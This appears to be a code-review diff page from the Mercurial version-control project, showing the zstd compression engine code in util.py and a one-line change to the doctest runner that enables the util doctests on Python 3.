3756 pos2 = pos + self._compinsize
3758 pos2 = pos + self._compinsize
3757 chunk = z.compress(data[pos:pos2])
3759 chunk = z.compress(data[pos:pos2])
3758 if chunk:
3760 if chunk:
3759 chunks.append(chunk)
3761 chunks.append(chunk)
3760 pos = pos2
3762 pos = pos2
3761 chunks.append(z.flush())
3763 chunks.append(z.flush())
3762
3764
3763 if sum(map(len, chunks)) < insize:
3765 if sum(map(len, chunks)) < insize:
3764 return ''.join(chunks)
3766 return ''.join(chunks)
3765 return None
3767 return None
3766
3768
3767 def decompress(self, data):
3769 def decompress(self, data):
3768 insize = len(data)
3770 insize = len(data)
3769
3771
3770 try:
3772 try:
3771 # This was measured to be faster than other streaming
3773 # This was measured to be faster than other streaming
3772 # decompressors.
3774 # decompressors.
3773 dobj = self._dctx.decompressobj()
3775 dobj = self._dctx.decompressobj()
3774 chunks = []
3776 chunks = []
3775 pos = 0
3777 pos = 0
3776 while pos < insize:
3778 while pos < insize:
3777 pos2 = pos + self._decompinsize
3779 pos2 = pos + self._decompinsize
3778 chunk = dobj.decompress(data[pos:pos2])
3780 chunk = dobj.decompress(data[pos:pos2])
3779 if chunk:
3781 if chunk:
3780 chunks.append(chunk)
3782 chunks.append(chunk)
3781 pos = pos2
3783 pos = pos2
3782 # Frame should be exhausted, so no finish() API.
3784 # Frame should be exhausted, so no finish() API.
3783
3785
3784 return ''.join(chunks)
3786 return ''.join(chunks)
3785 except Exception as e:
3787 except Exception as e:
3786 raise error.RevlogError(_('revlog decompress error: %s') %
3788 raise error.RevlogError(_('revlog decompress error: %s') %
3787 str(e))
3789 str(e))
3788
3790
3789 def revlogcompressor(self, opts=None):
3791 def revlogcompressor(self, opts=None):
3790 opts = opts or {}
3792 opts = opts or {}
3791 return self.zstdrevlogcompressor(self._module,
3793 return self.zstdrevlogcompressor(self._module,
3792 level=opts.get('level', 3))
3794 level=opts.get('level', 3))
3793
3795
3794 compengines.register(_zstdengine())
3796 compengines.register(_zstdengine())
3795
3797
3796 def bundlecompressiontopics():
3798 def bundlecompressiontopics():
3797 """Obtains a list of available bundle compressions for use in help."""
3799 """Obtains a list of available bundle compressions for use in help."""
3798 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3800 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3799 items = {}
3801 items = {}
3800
3802
3801 # We need to format the docstring. So use a dummy object/type to hold it
3803 # We need to format the docstring. So use a dummy object/type to hold it
3802 # rather than mutating the original.
3804 # rather than mutating the original.
3803 class docobject(object):
3805 class docobject(object):
3804 pass
3806 pass
3805
3807
3806 for name in compengines:
3808 for name in compengines:
3807 engine = compengines[name]
3809 engine = compengines[name]
3808
3810
3809 if not engine.available():
3811 if not engine.available():
3810 continue
3812 continue
3811
3813
3812 bt = engine.bundletype()
3814 bt = engine.bundletype()
3813 if not bt or not bt[0]:
3815 if not bt or not bt[0]:
3814 continue
3816 continue
3815
3817
3816 doc = pycompat.sysstr('``%s``\n %s') % (
3818 doc = pycompat.sysstr('``%s``\n %s') % (
3817 bt[0], engine.bundletype.__doc__)
3819 bt[0], engine.bundletype.__doc__)
3818
3820
3819 value = docobject()
3821 value = docobject()
3820 value.__doc__ = doc
3822 value.__doc__ = doc
3821 value._origdoc = engine.bundletype.__doc__
3823 value._origdoc = engine.bundletype.__doc__
3822 value._origfunc = engine.bundletype
3824 value._origfunc = engine.bundletype
3823
3825
3824 items[bt[0]] = value
3826 items[bt[0]] = value
3825
3827
3826 return items
3828 return items
3827
3829
3828 i18nfunctions = bundlecompressiontopics().values()
3830 i18nfunctions = bundlecompressiontopics().values()
3829
3831
3830 # convenient shortcut
3832 # convenient shortcut
3831 dst = debugstacktrace
3833 dst = debugstacktrace
@@ -1,81 +1,81 b''
1 # this is hack to make sure no escape characters are inserted into the output
1 # this is hack to make sure no escape characters are inserted into the output
2
2
3 from __future__ import absolute_import
3 from __future__ import absolute_import
4
4
5 import doctest
5 import doctest
6 import os
6 import os
7 import re
7 import re
8 import sys
8 import sys
9
9
10 ispy3 = (sys.version_info[0] >= 3)
10 ispy3 = (sys.version_info[0] >= 3)
11
11
12 if 'TERM' in os.environ:
12 if 'TERM' in os.environ:
13 del os.environ['TERM']
13 del os.environ['TERM']
14
14
15 class py3docchecker(doctest.OutputChecker):
15 class py3docchecker(doctest.OutputChecker):
16 def check_output(self, want, got, optionflags):
16 def check_output(self, want, got, optionflags):
17 want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want) # py2: u''
17 want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want) # py2: u''
18 got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got) # py3: b''
18 got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got) # py3: b''
19 # py3: <exc.name>: b'<msg>' -> <name>: <msg>
19 # py3: <exc.name>: b'<msg>' -> <name>: <msg>
20 # <exc.name>: <others> -> <name>: <others>
20 # <exc.name>: <others> -> <name>: <others>
21 got2 = re.sub(r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''', r'\1: \3',
21 got2 = re.sub(r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''', r'\1: \3',
22 got2, re.MULTILINE)
22 got2, re.MULTILINE)
23 got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
23 got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
24 return any(doctest.OutputChecker.check_output(self, w, g, optionflags)
24 return any(doctest.OutputChecker.check_output(self, w, g, optionflags)
25 for w, g in [(want, got), (want2, got2)])
25 for w, g in [(want, got), (want2, got2)])
26
26
27 # TODO: migrate doctests to py3 and enable them on both versions
27 # TODO: migrate doctests to py3 and enable them on both versions
28 def testmod(name, optionflags=0, testtarget=None, py2=True, py3=True):
28 def testmod(name, optionflags=0, testtarget=None, py2=True, py3=True):
29 if not (not ispy3 and py2 or ispy3 and py3):
29 if not (not ispy3 and py2 or ispy3 and py3):
30 return
30 return
31 __import__(name)
31 __import__(name)
32 mod = sys.modules[name]
32 mod = sys.modules[name]
33 if testtarget is not None:
33 if testtarget is not None:
34 mod = getattr(mod, testtarget)
34 mod = getattr(mod, testtarget)
35
35
36 # minimal copy of doctest.testmod()
36 # minimal copy of doctest.testmod()
37 finder = doctest.DocTestFinder()
37 finder = doctest.DocTestFinder()
38 checker = None
38 checker = None
39 if ispy3:
39 if ispy3:
40 checker = py3docchecker()
40 checker = py3docchecker()
41 runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
41 runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
42 for test in finder.find(mod, name):
42 for test in finder.find(mod, name):
43 runner.run(test)
43 runner.run(test)
44 runner.summarize()
44 runner.summarize()
45
45
46 testmod('mercurial.changegroup')
46 testmod('mercurial.changegroup')
47 testmod('mercurial.changelog')
47 testmod('mercurial.changelog')
48 testmod('mercurial.color')
48 testmod('mercurial.color')
49 testmod('mercurial.config')
49 testmod('mercurial.config')
50 testmod('mercurial.context')
50 testmod('mercurial.context')
51 testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
51 testmod('mercurial.dagparser', optionflags=doctest.NORMALIZE_WHITESPACE)
52 testmod('mercurial.dispatch')
52 testmod('mercurial.dispatch')
53 testmod('mercurial.encoding')
53 testmod('mercurial.encoding')
54 testmod('mercurial.formatter')
54 testmod('mercurial.formatter')
55 testmod('mercurial.hg')
55 testmod('mercurial.hg')
56 testmod('mercurial.hgweb.hgwebdir_mod')
56 testmod('mercurial.hgweb.hgwebdir_mod')
57 testmod('mercurial.match')
57 testmod('mercurial.match')
58 testmod('mercurial.mdiff')
58 testmod('mercurial.mdiff')
59 testmod('mercurial.minirst')
59 testmod('mercurial.minirst')
60 testmod('mercurial.patch')
60 testmod('mercurial.patch')
61 testmod('mercurial.pathutil')
61 testmod('mercurial.pathutil')
62 testmod('mercurial.parser')
62 testmod('mercurial.parser')
63 testmod('mercurial.pycompat')
63 testmod('mercurial.pycompat')
64 testmod('mercurial.revsetlang')
64 testmod('mercurial.revsetlang')
65 testmod('mercurial.smartset')
65 testmod('mercurial.smartset')
66 testmod('mercurial.store')
66 testmod('mercurial.store')
67 testmod('mercurial.subrepo')
67 testmod('mercurial.subrepo')
68 testmod('mercurial.templatefilters')
68 testmod('mercurial.templatefilters')
69 testmod('mercurial.templater')
69 testmod('mercurial.templater')
70 testmod('mercurial.ui')
70 testmod('mercurial.ui')
71 testmod('mercurial.url')
71 testmod('mercurial.url')
72 testmod('mercurial.util', py3=False) # py3: multiple bytes/unicode issues
72 testmod('mercurial.util')
73 testmod('mercurial.util', testtarget='platform')
73 testmod('mercurial.util', testtarget='platform')
74 testmod('hgext.convert.convcmd')
74 testmod('hgext.convert.convcmd')
75 testmod('hgext.convert.cvsps')
75 testmod('hgext.convert.cvsps')
76 testmod('hgext.convert.filemap')
76 testmod('hgext.convert.filemap')
77 testmod('hgext.convert.p4')
77 testmod('hgext.convert.p4')
78 testmod('hgext.convert.subversion')
78 testmod('hgext.convert.subversion')
79 testmod('hgext.mq')
79 testmod('hgext.mq')
80 # Helper scripts in tests/ that have doctests:
80 # Helper scripts in tests/ that have doctests:
81 testmod('drawdag')
81 testmod('drawdag')
General Comments 0
You need to be logged in to leave comments. Login now